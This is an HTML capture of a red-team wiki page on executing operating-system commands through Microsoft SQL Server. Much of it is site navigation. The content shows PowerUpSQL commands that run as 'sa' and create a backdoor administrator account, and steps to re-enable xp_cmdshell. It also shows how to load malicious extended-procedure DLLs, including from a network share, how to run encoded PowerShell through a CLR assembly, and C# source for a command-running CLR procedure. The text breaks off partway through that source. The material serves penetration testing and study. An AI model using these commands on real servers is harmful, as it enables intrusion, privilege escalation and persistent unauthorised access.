|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/evasion/edr-bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Endpoint Detection and Response
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/evasion/elastic-edr/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Elastic EDR
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/evasion/linux-evasion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Evasion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/evasion/windows-amsi-bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - AMSI Bypass
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/evasion/windows-defenses/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Defenses
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/evasion/windows-dpapi/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - DPAPI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10_4" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10_4" id="__nav_10_4_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Persistence
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_10_4_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10_4">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Persistence
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/persistence/linux-persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/persistence/rdp-persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
RDP - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/persistence/windows-persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10_5" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10_5" id="__nav_10_5_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Pivoting
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_10_5_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10_5">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Pivoting
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../../redteam/pivoting/network-pivoting-techniques/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Network Pivoting Techniques
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
|
||
<div class="md-sidebar__scrollwrap">
|
||
<div class="md-sidebar__inner">
|
||
|
||
|
||
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<label class="md-nav__title" for="__toc">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Table of contents
|
||
</label>
|
||
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#summary" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Summary
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#command-execution-via-xp_cmdshell" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Command Execution via xp_cmdshell
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#extended-stored-procedure" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Extended Stored Procedure
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Extended Stored Procedure">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#add-the-extended-stored-procedure-and-list-extended-stored-procedures" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Add the extended stored procedure and list extended stored procedures
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#clr-assemblies" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
CLR Assemblies
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="CLR Assemblies">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#execute-commands-using-clr-assembly" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Execute commands using CLR assembly
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#manually-creating-a-clr-dll-and-importing-it" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Manually creating a CLR DLL and importing it
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#ole-automation" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
OLE Automation
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="OLE Automation">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#execute-commands-using-ole-automation-procedures" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Execute commands using OLE automation procedures
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#agent-jobs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Agent Jobs
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="Agent Jobs">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#execute-commands-through-sql-agent-job-service" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Execute commands through SQL Agent Job service
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#list-all-jobs" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
List All Jobs
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#external-scripts" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
External Scripts
|
||
</span>
|
||
</a>
|
||
|
||
<nav class="md-nav" aria-label="External Scripts">
|
||
<ul class="md-nav__list">
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#python" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
Python
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
<li class="md-nav__item">
|
||
<a href="#r" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
R
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
</nav>
|
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</li>
|
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|
||
<li class="md-nav__item">
|
||
<a href="#references" class="md-nav__link">
|
||
<span class="md-ellipsis">
|
||
References
|
||
</span>
|
||
</a>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
|
||
<div class="md-content" data-md-component="content">
|
||
<article class="md-content__inner md-typeset">
|
||
|
||
|
||
|
||
|
||
|
||
<a href="https://github.com/swisskyrepo/InternalAllTheThings/blob/main/docs/databases/mssql-command-execution.md" title="Edit this page" class="md-content__button md-icon">
|
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||
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|
||
|
||
|
||
|
||
|
||
|
||
<a href="https://github.com/swisskyrepo/InternalAllTheThings/raw/main/docs/databases/mssql-command-execution.md" title="View source of this page" class="md-content__button md-icon">
|
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<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M17 18c.56 0 1 .44 1 1s-.44 1-1 1-1-.44-1-1 .44-1 1-1m0-3c-2.73 0-5.06 1.66-6 4 .94 2.34 3.27 4 6 4s5.06-1.66 6-4c-.94-2.34-3.27-4-6-4m0 6.5a2.5 2.5 0 0 1-2.5-2.5 2.5 2.5 0 0 1 2.5-2.5 2.5 2.5 0 0 1 2.5 2.5 2.5 2.5 0 0 1-2.5 2.5M9.27 20H6V4h7v5h5v4.07c.7.08 1.36.25 2 .49V8l-6-6H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h4.5a8.2 8.2 0 0 1-1.23-2"/></svg>
|
||
</a>
|
||
|
||
|
||
|
||
<h1 id="mssql-command-execution">MSSQL - Command Execution</h1>
|
||
<h2 id="summary">Summary</h2>
|
||
<ul>
|
||
<li><a href="#command-execution-via-xp_cmdshell">Command Execution via xp_cmdshell</a></li>
|
||
<li><a href="#extended-stored-procedure">Extended Stored Procedure</a><ul>
|
||
<li><a href="#add-the-extended-stored-procedure-and-list-extended-stored-procedures">Add the extended stored procedure and list extended stored procedures</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#clr-assemblies">CLR Assemblies</a><ul>
|
||
<li><a href="#execute-commands-using-clr-assembly">Execute commands using CLR assembly</a></li>
|
||
<li><a href="#manually-creating-a-clr-dll-and-importing-it">Manually creating a CLR DLL and importing it</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#ole-automation">OLE Automation</a><ul>
|
||
<li><a href="#execute-commands-using-ole-automation-procedures">Execute commands using OLE automation procedures</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#agent-jobs">Agent Jobs</a><ul>
|
||
<li><a href="#execute-commands-through-sql-agent-job-service">Execute commands through SQL Agent Job service</a></li>
|
||
<li><a href="#list-all-jobs">List All Jobs</a></li>
|
||
</ul>
|
||
</li>
|
||
<li><a href="#external-scripts">External Scripts</a><ul>
|
||
<li><a href="#python">Python</a></li>
|
||
<li><a href="#r">R</a></li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<h2 id="command-execution-via-xp_cmdshell">Command Execution via xp_cmdshell</h2>
|
||
<blockquote>
|
||
<p>xp_cmdshell disabled by default since SQL Server 2005</p>
|
||
</blockquote>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">PowerUpSQL</span><span class="p">></span> <span class="nb">Invoke-SQLOSCmd</span> <span class="n">-Username</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="n">Password1234</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-Command</span> <span class="n">whoami</span>
|
||
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a>
|
||
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="c"># Creates and adds local user backup to the local administrators group:</span>
|
||
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="n">PowerUpSQL</span><span class="p">></span> <span class="nb">Invoke-SQLOSCmd</span> <span class="n">-Username</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="n">Password1234</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-Command</span> <span class="s2">"net user backup Password1234 /add'"</span> <span class="n">-Verbose</span>
|
||
<a id="__codelineno-0-5" name="__codelineno-0-5" href="#__codelineno-0-5"></a><span class="n">PowerUpSQL</span><span class="p">></span> <span class="nb">Invoke-SQLOSCmd</span> <span class="n">-Username</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="n">Password1234</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-Command</span> <span class="s2">"net localgroup administrators backup /add"</span> <span class="n">-Verbose</span>
|
||
</code></pre></div>
|
||
<ul>
|
||
<li>Manually execute the SQL query
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="ss">"net user"</span><span class="p">;</span>
|
||
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s1">'whoami'</span>
|
||
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">master</span><span class="p">.</span><span class="n">dbo</span><span class="p">.</span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s1">'cmd.exe dir c:'</span><span class="p">;</span>
|
||
<a id="__codelineno-1-4" name="__codelineno-1-4" href="#__codelineno-1-4"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">master</span><span class="p">.</span><span class="n">dbo</span><span class="p">.</span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s1">'ping 127.0.0.1'</span><span class="p">;</span>
|
||
</code></pre></div></li>
|
||
<li>If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">sp_configure</span><span class="w"> </span><span class="s1">'show advanced options'</span><span class="p">,</span><span class="mi">1</span><span class="p">;</span>
|
||
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="n">RECONFIGURE</span><span class="p">;</span>
|
||
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">sp_configure</span><span class="w"> </span><span class="s1">'xp_cmdshell'</span><span class="p">,</span><span class="mi">1</span><span class="p">;</span>
|
||
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a><span class="n">RECONFIGURE</span><span class="p">;</span>
|
||
</code></pre></div></li>
|
||
<li>If the procedure was uninstalled
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="n">sp_addextendedproc</span><span class="w"> </span><span class="s1">'xp_cmdshell'</span><span class="p">,</span><span class="s1">'xplog70.dll'</span>
|
||
</code></pre></div></li>
|
||
</ul>
|
||
<h2 id="extended-stored-procedure">Extended Stored Procedure</h2>
|
||
<h3 id="add-the-extended-stored-procedure-and-list-extended-stored-procedures">Add the extended stored procedure and list extended stored procedures</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="c"># Create evil DLL</span>
|
||
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="n">Create-SQLFileXpDll</span> <span class="n">-OutFile</span> <span class="n">C</span><span class="p">:\</span><span class="n">temp</span><span class="p">\</span><span class="n">test</span><span class="p">.</span><span class="n">dll</span> <span class="n">-Command</span> <span class="s2">"echo test > c:\temp\test.txt"</span> <span class="n">-ExportName</span> <span class="n">xp_test</span>
|
||
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a>
|
||
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="c"># Load the DLL and call xp_test</span>
|
||
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a><span class="nb">Get-SQLQuery</span> <span class="n">-UserName</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="n">Password1234</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-Query</span> <span class="s2">"sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"</span>
|
||
<a id="__codelineno-4-6" name="__codelineno-4-6" href="#__codelineno-4-6"></a><span class="nb">Get-SQLQuery</span> <span class="n">-UserName</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="n">Password1234</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-Query</span> <span class="s2">"EXEC xp_test"</span>
|
||
<a id="__codelineno-4-7" name="__codelineno-4-7" href="#__codelineno-4-7"></a>
|
||
<a id="__codelineno-4-8" name="__codelineno-4-8" href="#__codelineno-4-8"></a><span class="c"># Listing existing</span>
|
||
<a id="__codelineno-4-9" name="__codelineno-4-9" href="#__codelineno-4-9"></a><span class="nb">Get-SQLStoredProcedureXP</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-Verbose</span>
|
||
</code></pre></div>
|
||
<ul>
|
||
<li>Build a DLL using <a href="https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp">xp_evil_template.cpp</a></li>
|
||
<li>Load the DLL
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="c1">-- can also be loaded from UNC path or Webdav</span>
|
||
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="n">sp_addextendedproc</span><span class="w"> </span><span class="s1">'xp_calc'</span><span class="p">,</span><span class="w"> </span><span class="s1">'C:\mydll\xp_calc.dll'</span>
|
||
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">xp_calc</span>
|
||
<a id="__codelineno-5-4" name="__codelineno-5-4" href="#__codelineno-5-4"></a><span class="n">sp_dropextendedproc</span><span class="w"> </span><span class="s1">'xp_calc'</span>
|
||
</code></pre></div></li>
|
||
</ul>
|
||
<h2 id="clr-assemblies">CLR Assemblies</h2>
|
||
<p>Prerequisites:</p>
|
||
<ul>
|
||
<li>sysadmin privileges</li>
|
||
<li>CREATE ASSEMBLY permission (or)</li>
|
||
<li>ALTER ASSEMBLY permission (or)</li>
|
||
</ul>
|
||
<p>The execution takes place with privileges of the <strong>service account</strong>.</p>
|
||
<h3 id="execute-commands-using-clr-assembly">Execute commands using CLR assembly</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="c"># Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string</span>
|
||
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="n">Create-SQLFileCLRDll</span> <span class="n">-ProcedureName</span> <span class="s2">"runcmd"</span> <span class="n">-OutFile</span> <span class="n">runcmd</span> <span class="n">-OutDir</span> <span class="n">C</span><span class="p">:\</span><span class="n">Users</span><span class="p">\</span><span class="n">user</span><span class="p">\</span><span class="n">Desktop</span>
|
||
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a>
|
||
<a id="__codelineno-6-4" name="__codelineno-6-4" href="#__codelineno-6-4"></a><span class="c"># Execute command using CLR assembly</span>
|
||
<a id="__codelineno-6-5" name="__codelineno-6-5" href="#__codelineno-6-5"></a><span class="nb">Invoke-SQLOSCmdCLR</span> <span class="n">-Username</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="p"><</span><span class="n">password</span><span class="p">></span> <span class="n">-Instance</span> <span class="p"><</span><span class="n">instance</span><span class="p">></span> <span class="n">-Command</span> <span class="s2">"whoami"</span> <span class="n">-Verbose</span>
|
||
<a id="__codelineno-6-6" name="__codelineno-6-6" href="#__codelineno-6-6"></a><span class="nb">Invoke-SQLOSCmdCLR</span> <span class="n">-Username</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="n">Password1234</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-Command</span> <span class="s2">"whoami"</span> <span class="n">Verbose</span>
|
||
<a id="__codelineno-6-7" name="__codelineno-6-7" href="#__codelineno-6-7"></a><span class="nb">Invoke-SQLOSCmdCLR</span> <span class="n">-Username</span> <span class="n">sa</span> <span class="n">-Password</span> <span class="n">Password1234</span> <span class="n">-Instance</span> <span class="s2">"<DBSERVERNAME\DBInstance>"</span> <span class="n">-Command</span> <span class="s2">"powershell -e <base64>"</span> <span class="n">-Verbose</span>
|
||
<a id="__codelineno-6-8" name="__codelineno-6-8" href="#__codelineno-6-8"></a>
|
||
<a id="__codelineno-6-9" name="__codelineno-6-9" href="#__codelineno-6-9"></a><span class="c"># List all the stored procedures added using CLR</span>
|
||
<a id="__codelineno-6-10" name="__codelineno-6-10" href="#__codelineno-6-10"></a><span class="nb">Get-SQLStoredProcedureCLR</span> <span class="n">-Instance</span> <span class="p"><</span><span class="n">instance</span><span class="p">></span> <span class="n">-Verbose</span>
|
||
</code></pre></div>
|
||
<h3 id="manually-creating-a-clr-dll-and-importing-it">Manually creating a CLR DLL and importing it</h3>
|
||
<p>Create a C# DLL file with the following content, with the command : <code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs</code></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="k">using</span><span class="w"> </span><span class="nn">System</span><span class="p">;</span>
|
||
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="k">using</span><span class="w"> </span><span class="nn">System.Data</span><span class="p">;</span>
|
||
<a id="__codelineno-7-3" name="__codelineno-7-3" href="#__codelineno-7-3"></a><span class="k">using</span><span class="w"> </span><span class="nn">System.Data.SqlClient</span><span class="p">;</span>
|
||
<a id="__codelineno-7-4" name="__codelineno-7-4" href="#__codelineno-7-4"></a><span class="k">using</span><span class="w"> </span><span class="nn">System.Data.SqlTypes</span><span class="p">;</span>
|
||
<a id="__codelineno-7-5" name="__codelineno-7-5" href="#__codelineno-7-5"></a><span class="k">using</span><span class="w"> </span><span class="nn">Microsoft.SqlServer.Server</span><span class="p">;</span>
|
||
<a id="__codelineno-7-6" name="__codelineno-7-6" href="#__codelineno-7-6"></a><span class="k">using</span><span class="w"> </span><span class="nn">System.IO</span><span class="p">;</span>
|
||
<a id="__codelineno-7-7" name="__codelineno-7-7" href="#__codelineno-7-7"></a><span class="k">using</span><span class="w"> </span><span class="nn">System.Diagnostics</span><span class="p">;</span>
|
||
<a id="__codelineno-7-8" name="__codelineno-7-8" href="#__codelineno-7-8"></a><span class="k">using</span><span class="w"> </span><span class="nn">System.Text</span><span class="p">;</span>
|
||
<a id="__codelineno-7-9" name="__codelineno-7-9" href="#__codelineno-7-9"></a>
|
||
<a id="__codelineno-7-10" name="__codelineno-7-10" href="#__codelineno-7-10"></a><span class="k">public</span><span class="w"> </span><span class="k">partial</span><span class="w"> </span><span class="k">class</span><span class="w"> </span><span class="nc">StoredProcedures</span>
|
||
<a id="__codelineno-7-11" name="__codelineno-7-11" href="#__codelineno-7-11"></a><span class="p">{</span>
|
||
<a id="__codelineno-7-12" name="__codelineno-7-12" href="#__codelineno-7-12"></a><span class="w"> </span><span class="na">[Microsoft.SqlServer.Server.SqlProcedure]</span>
|
||
<a id="__codelineno-7-13" name="__codelineno-7-13" href="#__codelineno-7-13"></a><span class="w"> </span><span class="k">public</span><span class="w"> </span><span class="k">static</span><span class="w"> </span><span class="k">void</span><span class="w"> </span><span class="nf">cmd_exec</span><span class="w"> </span><span class="p">(</span><span class="n">SqlString</span><span class="w"> </span><span class="n">execCommand</span><span class="p">)</span>
|
||
<a id="__codelineno-7-14" name="__codelineno-7-14" href="#__codelineno-7-14"></a><span class="w"> </span><span class="p">{</span>
|
||
<a id="__codelineno-7-15" name="__codelineno-7-15" href="#__codelineno-7-15"></a><span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="n">proc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">Process</span><span class="p">();</span>
|
||
<a id="__codelineno-7-16" name="__codelineno-7-16" href="#__codelineno-7-16"></a><span class="w"> </span><span class="n">proc</span><span class="p">.</span><span class="n">StartInfo</span><span class="p">.</span><span class="n">FileName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">@"C:\Windows\System32\cmd.exe"</span><span class="p">;</span>
|
||
<a id="__codelineno-7-17" name="__codelineno-7-17" href="#__codelineno-7-17"></a><span class="w"> </span><span class="n">proc</span><span class="p">.</span><span class="n">StartInfo</span><span class="p">.</span><span class="n">Arguments</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kt">string</span><span class="p">.</span><span class="n">Format</span><span class="p">(</span><span class="s">@" /C {0}"</span><span class="p">,</span><span class="w"> </span><span class="n">execCommand</span><span class="p">.</span><span class="n">Value</span><span class="p">);</span>
|
||
<a id="__codelineno-7-18" name="__codelineno-7-18" href="#__codelineno-7-18"></a><span class="w"> </span><span class="n">proc</span><span class="p">.</span><span class="n">StartInfo</span><span class="p">.</span><span class="n">UseShellExecute</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">false</span><span class="p">;</span>
|
||
<a id="__codelineno-7-19" name="__codelineno-7-19" href="#__codelineno-7-19"></a><span class="w"> </span><span class="n">proc</span><span class="p">.</span><span class="n">StartInfo</span><span class="p">.</span><span class="n">RedirectStandardOutput</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">true</span><span class="p">;</span>
|
||
<a id="__codelineno-7-20" name="__codelineno-7-20" href="#__codelineno-7-20"></a><span class="w"> </span><span class="n">proc</span><span class="p">.</span><span class="n">Start</span><span class="p">();</span>
|
||
<a id="__codelineno-7-21" name="__codelineno-7-21" href="#__codelineno-7-21"></a>
|
||
<a id="__codelineno-7-22" name="__codelineno-7-22" href="#__codelineno-7-22"></a><span class="w"> </span><span class="c1">// Create the record and specify the metadata for the columns.</span>
|
||
<a id="__codelineno-7-23" name="__codelineno-7-23" href="#__codelineno-7-23"></a><span class="w"> </span><span class="n">SqlDataRecord</span><span class="w"> </span><span class="n">record</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">SqlDataRecord</span><span class="p">(</span><span class="k">new</span><span class="w"> </span><span class="n">SqlMetaData</span><span class="p">(</span><span class="s">"output"</span><span class="p">,</span><span class="w"> </span><span class="n">SqlDbType</span><span class="p">.</span><span class="n">NVarChar</span><span class="p">,</span><span class="w"> </span><span class="m">4000</span><span class="p">));</span>
|
||
<a id="__codelineno-7-24" name="__codelineno-7-24" href="#__codelineno-7-24"></a>
|
||
<a id="__codelineno-7-25" name="__codelineno-7-25" href="#__codelineno-7-25"></a><span class="w"> </span><span class="c1">// Mark the beginning of the result set.</span>
|
||
<a id="__codelineno-7-26" name="__codelineno-7-26" href="#__codelineno-7-26"></a><span class="w"> </span><span class="n">SqlContext</span><span class="p">.</span><span class="n">Pipe</span><span class="p">.</span><span class="n">SendResultsStart</span><span class="p">(</span><span class="n">record</span><span class="p">);</span>
|
||
<a id="__codelineno-7-27" name="__codelineno-7-27" href="#__codelineno-7-27"></a>
|
||
